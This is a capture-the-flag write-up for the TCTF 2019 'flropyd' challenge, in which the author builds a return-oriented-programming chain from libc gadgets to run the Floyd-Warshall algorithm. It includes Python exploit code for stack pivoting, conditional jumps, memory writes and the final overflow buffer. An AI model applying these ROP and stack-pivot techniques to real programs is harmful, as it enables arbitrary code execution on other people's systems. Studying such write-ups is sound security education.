TCTF 2019 - flropyd (366pt)
advanced ROP
March 25, 2019
reversing
flropyd (366pt)
Reversing
Description: People always say that rop is turing complete, show me by implementing the Floyd-Warshall algorithm
system: ubuntu-18.04
update1: you can download libc here
update2: md5(libc.so.6) == 50390b2ae8aaa73c47745040f54e602f
Files: flropyd
Solution:
This was a super fun challenge. The program gives you the address of malloc in libc and asks you to provide a ropchain that will “implement the Floyd-Warshall algorithm.”
The program checks this by first chosing a random, bounded integer N (stored at 0x602060) and then creating a random weighted edge matrix that starts at 0x602068 in memory.
The program then calls fork and the child program severely sandboxes itself and then executes the ropchain. The parent program executes it’s own version of the Floyd-Warshall algorithm which converts the edge matrix into a shortest-distance matrix.
The edge matrix in the parent’s memory is compared to the child and if they are equal, the check succeeds. Then this process is repeated 9 more times to verify that the ropchain actually works and if all checks pass, you get the flag.
The edge matrix is always a 64x64 qword array but only the values up to N are set during initialization.
In order to complete this challenge, we need to write a ropchain that does the following:
for a in range(N):
for b in range(N):
for c in range(N):
if edges[b][c] > edges[b][a] + edges[a][c]:
edges[b][c] = edges[b][a] + edges[a][c]
This is a fairly simple algorithm but some difficulties arise when trying to implement it via ROP.
My approach was to build up a set of ROP primatives that could perform progressively higher level operations.
The first task was to find a series of gadgets that could implement “jump if less than”. Since our ROP “instruction pointer” is actually just the stack pointer, we need to find some gadgets that can conditionally modify the stack pointer based on two arguments.
This was definitely the hardest part of the challenge. When the child program initially executes the ropchain, it has been copied onto the stack. However, the same ropchain also exists in the data section (it starts at 0x60a080). If we can transition from executing the stack ropchain (with large 64 bit addresses) to the data section ropchain, we can use gadgets that just modifiy esp and we can use absolute ropchain addresses.
This is my unconditional jump primative:
def jump(addr):
buf = ''
# dereference gadget
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(addr)
# fix spacing
buf += p64(base + 0x000000000003eb0b) # pop rcx
buf += p64(base + 0x000000000003eb0b) # pop rcx
buf += p64(base + 0x00000000000941b1) # mov qword ptr [rsp + 8], rax ; call rcx
buf += p64(base + 0x0000000000003960) # pop rsp
buf += p64(0) # junk (gets overwritten)
return buf
It works by setting rax and then writing rax to rsp + 8. It has the side effect of calling rcx so beforehand, we need to set rcx to a gaget that pops a single register so that we uncorrupt the stack. In this case, I just set rcx to point to the pop rcx gadget. Finally we hit pop rsp which pops the value that we wrote with rax and acts as a jump.
Next, I created a simple “write what where” gadget that allows me to put a value in memory:
def write_what_where(mem, val):
buf = ''
buf += p64(base + 0x000000000003eb0b) # pop rcx ; ret
buf += p64(val)
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(mem)
buf += p64(base + 0x00000000000a8094) # mov qword ptr [rdx], rcx ; ret
return buf
Then I was able to find a gadget that sets esp and with some interesting logic, it is possible to conditionally set this value. I created the following primitive which compares the value in two memory locations and “jumps” to one address if the first is less than the other, or the second otherwise:
def if_less_than_mem_mem_better(mem, mem2, addr_lt, addr_gte):
buf = ''
# dereference second memory value and store in rdx
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem2)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
buf += p64(base + 0x00000000001415dd) # mov rdx, rax
# dereference first memory value and store in rax
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# perform subtraction
buf += p64(base + 0x00000000000438fd) # sub rax, rdx
# arithmetic shift to get 0 or -1
buf += p64(base + 0x0000000000134bfc) # sar rax, 6
buf += p64(base + 0x0000000000134bfc) # sar rax, 6
buf += p64(base + 0x0000000000134bfc) # sar rax, 6
# compute correct address for jump table
buf += p64(base + 0x000000000002155f) # pop rdi
buf += p64(8)
buf += p64(base + 0x0000000000023e6a) # pop rsi
buf += p64(0x602030)
buf += p64(base + 0x00000000001216de) # and rax, rdi ; or rax, rsi
# if lt, rax = 0x602038
# else, rax = 0x602030
buf += write_what_where(0x602038, addr_lt)
buf += write_what_where(0x602030, addr_gte)
# dereference gadget
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# set rdx to ret gadget
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(base + 0x00000000000008aa) # ret
# set stack pointer
buf += p64(base + 0x000000000003ecaa) # mov esp, eax ; mov rbp, r9 ; nop ; jmp rdx
return buf
This primative firsts sets rax and rdx to the values in the two memory locations. Then it performs sub rax, rdx and shifts the result so that we end up with either all 1’s (-1 in two’s compliment) or all zeros.
Then it performs (rax & 0x8) + 0x602030 which sets rax to point to 0x602038 if rax < rdx otherwise it will point to 0x602030. By putting the two stack addresses we would like to jump to in these corresponding memory locations, we can dereference it and call the mov esp, eax gadget.
The only mov esp, eax gadget also jumps to rdx as a side effect so we can just set rdx to point to a ret gadget in order to preserve the stack.
Next, I found it useful to create a copy_memory primative that can copy a value from one address to another. This was fairly simple:
def copy_memory(mem_from, mem_to):
buf = ''
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem_from)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(mem_to)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
return buf
In order to index into the edge array, I created a primative that would take two memory locations that hold index values and a third location that would receive the value of the edge array:
def index_edge_array(mem_idx1, mem_idx2, save_to):
buf = ''
# copy index1 to junk counter
buf += copy_memory(mem_idx1, 0x602058)
# compute (idx1 * 64)
buf += p64(base + 0x000000000002155f) # pop rdi
buf += p64(0x602058 + 5)
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
# dereference temp into edi
# edi = (idx1 * 64)
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# dereference idx2
# rax = idx2
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem_idx2)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# add together
# rax = idx2 + (idx1 * 64)
buf += p64(base + 0x00000000000a8473) # add rax, rdi
# save intermediate computation to temp memory
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
# shift left 3 times
buf += p64(base + 0x000000000002155f) # pop rdi
buf += p64(0x602058 + 5)
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
# dereference temp into edi
# edi = (idx2 + (idx1 * 64)) * 8
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# add edge base offset
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(0x602068)
# rax = (idx2 + (idx1 * 64)) * 8 + 0x602068
buf += p64(base + 0x00000000000a8473) # add rax, rdi
# lookup the edge value at this address
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# save the value to the memory location
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(save_to)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
return buf
This function performs *save_to = edges[*mem_idx1][*mem_idx2]. I used the location at 0x602058 as scratch memory since the shl gadget I found operated directly on memory values rather than register values.
Similarly, I wrote a primative that can save a value to the edge array. It is nearly identical:
def write_index_edge_array(mem_idx1, mem_idx2, load_from):
buf = ''
# copy index1 to junk counter
buf += copy_memory(mem_idx1, 0x602058)
# compute (idx1 * 64)
buf += p64(base + 0x000000000002155f) # pop rdi
buf += p64(0x602058 + 5)
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
# dereference temp into edi
# edi = (idx1 * 64)
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# dereference idx2
# rax = idx2
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem_idx2)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# add together
# rax = idx2 + (idx1 * 64)
buf += p64(base + 0x00000000000a8473) # add rax, rdi
# save intermediate computation to temp memory
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
# shift left 3 times
buf += p64(base + 0x000000000002155f) # pop rdi
buf += p64(0x602058 + 5)
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
buf += p64(base + 0x00000000001ab548) # shl dword ptr [rdi - 5], 1
# dereference temp into edi
# edi = (idx2 + (idx1 * 64)) * 8
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# add edge base offset
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(0x602068)
# rax = (idx2 + (idx1 * 64)) * 8 + 0x602068
buf += p64(base + 0x00000000000a8473) # add rax, rdi
# move the edge pointer into edi
# (in a convoluted way)
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(0x602058)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# dereference the load_from address
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(load_from)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# save new edge value
buf += p64(base + 0x000000000003fdfa) # mov qword ptr [rdi], rax ; xor eax, eax
return buf
Finally, I needed a primative that could add two memory locations:
def add_mem_mem(mem_a, mem_b):
buf = ''
# load mem_a into edi
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(mem_a)
buf += p64(base + 0x00000000001ab806) # mov edi, dword ptr [rdx]
# load mem_b into rax
buf += p64(base + 0x00000000000439c8) # pop rax
buf += p64(mem_b)
buf += p64(base + 0x0000000000145c98) # mov rax, qword ptr [rax]
# add
buf += p64(base + 0x00000000000a8473) # add rax, rdi
# store in mem_a
buf += p64(base + 0x0000000000001b96) # pop rdx
buf += p64(mem_a)
buf += p64(base + 0x000000000003093c) # mov qword ptr [rdx], rax
return buf
and a primative that could increment a memory location:
def increment_memory(mem):
buf = ''
buf += p64(base + 0x000000000003eb0b) # pop rcx ; ret
buf += p64(mem + 0x77)
buf += p64(base + 0x00000000000ea224) # inc dword ptr [rcx - 0x77]
return buf
Using these primatives we can write some assembly-like pseudocode:
# memory address that store local variable values
VAR_A = 0x602040
VAR_B = 0x602048
VAR_C = 0x602050
TEMP_0 = 0x602018
TEMP_1 = 0x602020
# size of edge array
NUM = 0x602060
_rop_init_I_guess:
jump(<start>) # move to the ropchain in the data section
start:
write_what_where(VAR_A, 0) # var a = 0
a_loop:
write_what_where(VAR_B, 0) # var b = 0
b_loop:
write_what_where(VAR_C, 0) # var c = 0
c_loop:
# index into the edge array and save to memory
index_edge_array(VAR_A, VAR_C, TEMP_0) # temp_0 = e[c][a]
index_edge_array(VAR_B, VAR_A, TEMP_1) # temp_1 = e[a][b]
# temp_0 = e[c][a] + e[a][b]
add_mem_mem(TEMP_0, TEMP_1)
index_edge_array(VAR_B, VAR_C, TEMP_1) # temp_1 = e[c][b]
# if e[c][a] + e[c][b] < e[c][b] {CONT}{SKIP}
if_less_than_mem_mem_better(TEMP_0, TEMP_1, <cont>, <skip>)
cont:
# e[c][b] = e[c][a] + e[a][b]
write_index_edge_array(VAR_B, VAR_C, TEMP_0)
skip:
# c += 1
increment_memory(VAR_C)
if_less_than_mem_mem_better(VAR_C, NUM, <c_loop>, <inc_b>)
inc_b:
# b += 1
increment_memory(VAR_B)
if_less_than_mem_mem_better(VAR_B, NUM, <b_loop>, <inc_a>)
inc_a:
# a += 1
increment_memory(VAR_A)
if_less_than_mem_mem_better(VAR_A, NUM, <a_loop>, <done>)
done:
...
For the final exploit, I put in print statements to compute the correct label addresses and then I hardcoded them into the rop primative calls for the final buffer:
buf = ''
# spacing to get to the first return address
buf += 'a' * 0x18
# jump {START}
buf += jump(0x60a0d0)
print('LABEL START: 0x%x' % (buf_base + len(buf)))
buf += write_what_where(0x602040, 0) # var a = 0
print('LABEL A: 0x%x' % (buf_base + len(buf)))
buf += write_what_where(0x602048, 0) # var b = 0
print('LABEL B: 0x%x' % (buf_base + len(buf)))
buf += write_what_where(0x602050, 0) # var c = 0
print('LABEL C: 0x%x' % (buf_base + len(buf)))
# index into the edge array and save to memory
buf += index_edge_array(0x602040, 0x602050, 0x602018) # 0x602018 = e[c][a]
print('LABEL second index: 0x%x' % (buf_base + len(buf)))
buf += index_edge_array(0x602048, 0x602040, 0x602020) # 0x602020 = e[a][b]
print('LABEL add mem: 0x%x' % (buf_base + len(buf)))
buf += add_mem_mem(0x602018, 0x602020) # 0x602018 = e[c][a] + e[a][b]
print('LABEL third index: 0x%x' % (buf_base + len(buf)))
buf += index_edge_array(0x602048, 0x602050, 0x602020) # 0x602020 = e[c][b]
print('LABEL comparison: 0x%x' % (buf_base + len(buf)))
# if e[c][a] + e[c][b] < e[c][b] {CONT}{SKIP}
buf += if_less_than_mem_mem_better(0x602018, 0x602020, 0x60a630, 0x60a788)
print('LABEL CONT: 0x%x' % (buf_base + len(buf)))
buf += write_index_edge_array(0x602048, 0x602050, 0x602018)
print('LABEL SKIP: 0x%x' % (buf_base + len(buf)))
# c += 1
buf += increment_memory(0x602050)
# if (c < *num) {C}{INC_B}
buf += if_less_than_mem_mem_better(0x602050, 0x602060, 0x60a148, 0x60a890)
print('LABEL INC_B: 0x%x' % (buf_base + len(buf)))
# b += 1
buf += increment_memory(0x602048)
# if (b < *num) {B}{INC_A}
buf += if_less_than_mem_mem_better(0x602048, 0x602060, 0x60a120, 0x60a998)
print('LABEL INC_A: 0x%x' % (buf_base + len(buf)))
# a += 1
buf += increment_memory(0x602040)
# if (a < *num) {A}{DONE}
buf += if_less_than_mem_mem_better(0x602040, 0x602060, 0x60a0f8, 0x60aaa0)
print('LABEL DONE: 0x%x' % (buf_base + len(buf)))